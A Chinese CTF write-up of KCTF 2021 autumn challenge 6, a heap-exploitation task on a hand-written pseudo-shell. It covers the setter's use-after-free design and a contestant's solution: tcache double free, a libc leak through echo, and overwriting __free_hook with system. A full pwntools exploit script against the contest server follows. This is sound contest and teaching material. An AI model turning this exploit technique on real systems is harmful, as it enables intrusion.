看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析

Editor發表於2021-12-01

看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析


看雪·眾安 2021 KCTF秋季賽的第六題《窺伺者誰》已於今天中午12點截止答題,經統計,本題圍觀人數多達1080人,共計6支戰隊成功破解。


看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析


恭喜v3r1t4s501用時19720秒拿下“一血”,接下來和我一起來看看該賽題的設計思路和相關解析吧~



出題團隊簡介


第六題《窺伺者誰》出題方 天漢安全團隊:


看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析


戰隊成員如下:


看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析



賽題設計思路


功能描述


程式實現了一個linux系統的命令系統,能夠建立檔案和資料夾、銷燬檔案和資料夾、進入某個目錄寫入檔案等,類似於一個選單題。


程式的輸出字元均有有效字元檢查,禁止輸出不可見字元。


考點


house of Corrosion(https://github.com/CptGibbon/House-of-Corrosion)

House of Corrosion 是一種針對glibc2.27跟glibc2.29的堆利用技術。


前提條件

  • 需要一個UAF漏洞

  • 可以分配較大的堆塊(size <=0x3b00)

  • 不需要任何洩露


主要攻擊步驟


具體參考

  • 通過爆破4bit,改寫bk進行unsortedbin attack 改寫global_max_fast變數

  • 結合堆風水技術,通過UAF漏洞以及fastbin corruption去篡改stderr檔案流物件

  • 觸發stderr得到shell


漏洞點


func_rm() 函式中,釋放檔案或目錄的節點結構和緩衝區。此外,被釋放的節點通過 unlink_node()函式與其父節點解除連結,當釋放得目標與不在當前目錄下時,就會不允許unlink_node()函式,進而導致UAF漏洞。但是使用者的輸入經過限制,無法輸出不可見字元等,無法洩露資訊。


其他見附件(https://bbs.pediy.com/thread-270174.htm)



賽題解析


本賽題解析由看雪論壇xi@0ji233給出:

看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析


題目分析


題目模擬了一個手寫的shell。

 

裡面的檔案系統可以分為3個結構體,name,data,text,目錄具有name和data,普通檔案具有三個,結構體大致如下:

struct name{    char file_name[0x20];};struct data{    long long is_not_dir;    data *pre_dir;//檔案這裡標為1,目錄標為0    data *son[16];//普通檔案這裡不使用    name *file_name;    text *file_data;//目錄不具有此專案}struct text{    char text[?];}


主要是有一個uaf的漏洞,如果建立資料夾在裡面建立檔案之後寫內容的話,在資料夾的外面刪掉這個檔案會導致裡面的text堆塊被free,但是不清空指標。由於是2.27的libc,可以直接在tcache 中double free實現任意申請。

 

由於各種保護拉滿,所有地址都未知,那麼此時必須先想辦法洩露出libc的地址,如果能洩露出libc的地址,那麼可以直接double free 劫持free hook去getshell。


能輸出堆塊上內容的基本就一個ls指令,但是它在輸出之前會check目錄名是否合法,合法的條件基本就是,肯定遮蔽了特殊字元和不可列印的那些位元組的,如果要洩露出一個地址那麼必定是會含有這些位元組的。但是我注意到了echo函式,echo函式的非重定向選項會先strlen一遍那個sysbuf然後根據這個長度去洩露,並不會check上面的位元組。


如果我在上面帶上了libc的地址那麼就可以開心地洩露了。但是它這個讀非常的安全,遇到\n才會截止輸入並且那個\n最後會變成\0,那麼唯一的繞過方法就是直接讀它個0x5000的資料,然後後面放上libc的地址就可以洩露了。

 

那麼我先double free,然後再在sysbuf上面的最後八個位元組偽造成一個size,再讓指標指向它free,這樣等會填充0x5000個位元組的時候後面直接會出現libc的地址。由於這是2.27的版本,構造unsorted bin必須要先填滿tcache,且進入unsorted bin的話會對前後堆塊check,所以這裡我們為了check大小剛好構造為0xf1大小,然後此時再建立7個檔案,並讓他的text堆塊對應0xf1的大小並一一刪除填滿tcache。這樣的話free那個堆塊進入unsortedbin之後就會攜帶libc的地址了。

 

需要注意,因為只有最後三位偏移固定,所以double free之後要爆破半個位元組才能成功指到對應的地方去free。free之後就非常簡單,直接在sysbuf上填寫0x5000個字元然後echo直接輸出就可以洩露出那個地址了。洩露出來了之後就很簡單了,故技重施,double free劫持free_hook位system,然後刪除一個帶有/bin/sh字串的檔案就可以愉快地getshell了。


exp

from pwn import *#context.log_level='debug'context.arch='amd64'context.os='linux'libc_version='2.27' global pdef conn(x,file_name,port=9999,ip='101.35.172.231'):     if x:        p=process(file_name)    else:        p=remote(ip,port)    return ELF(file_name),ELF(file_name),p def ls(name):    p.sendlineafter(b'$',b'ls')    p.sendlineafter(b'path> ',name) def mkdir(name):    p.sendlineafter(b'$',b'mkdir')    p.sendlineafter(b'name',name) def rm(name):    p.sendlineafter(b'$',b'rm')    p.sendlineafter(b'filename> ',name) def cd(name):    p.sendlineafter(b'$',b'cd')    p.sendlineafter(b'path> ',name) def echo(msg,red,path=b'./'):    p.sendlineafter(b'$',b'echo')    p.sendafter(b'arg>',msg)    p.sendlineafter(b'redirect?>',red)    if red==b'Y' or red==b'y':        p.sendlineafter(b'path> ',path) def touch(name):    p.sendlineafter(b'$',b'touch')    p.sendlineafter(b'filename> ',name)  def pwn():    global p    elf,libc,p=conn(0,'./chall',port=10000)    libc=ELF('./libc.so.6')    mkdir(b'dir')    cd(b'dir')    touch(b'flag')    echo(b'a'*0x10+b'\n',b'y',b'flag')    cd(b'..')    for i in range(2):        rm(b'./dir/flag')    gdb.attach(p)    echo(p16(0x3260)+b'\n',b'y','dir/flag')     touch(b'flag1')    echo(b'a'*0x4ff8+p64(0xf1),b'n')     echo(b'a'*8+b'\n',b'y',b'flag1')    touch(b'flag2')    touch(b'flag3')    touch(b'flag4')    gdb.attach(p)    echo(b'/bin/sh\0'+b'\n',b'y',b'flag2')    for i in range(7):        touch(str(i))        echo(b'a'*0xe0+b'\n',b'y',str(i))    for i in range(7):        rm(str(i))     rm(b'flag2')    echo(b'a'*0x5000,b'n')    #p.recvuntil(b'\x7f')    libc_addr=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook']    success('libc_addr:'+hex(libc_addr))    rm('dir/flag')    echo(p64(libc_addr+libc.sym['__free_hook'])+b'\n',b'y',b'dir/flag')    echo(b'/bin/sh\n',b'y',b'flag3')    echo(p64(libc_addr+libc.sym['system'])+b'\n',b'y',b'flag4')    rm(b'flag3')       #gdb.attach(p)    p.interactive()while True:    try:        pwn()    except:        continue



往期解析


1、看雪·眾安 2021 KCTF 秋季賽 | 第二題設計思路及解析


2、看雪·眾安 2021 KCTF 秋季賽 | 第三題設計思路及解析


3、看雪·眾安 2021 KCTF 秋季賽 | 第四題設計思路及解析


4、看雪·眾安 2021 KCTF 秋季賽 | 第五題設計思路及解析



看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析

看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析

第七題《聲名遠揚》正在火熱進行中,

還在等什麼,快來參賽吧!



看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析

- End -



看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析

公眾號ID:ikanxue

官方微博:看雪安全

商務合作:wsc@kanxue.com


相關文章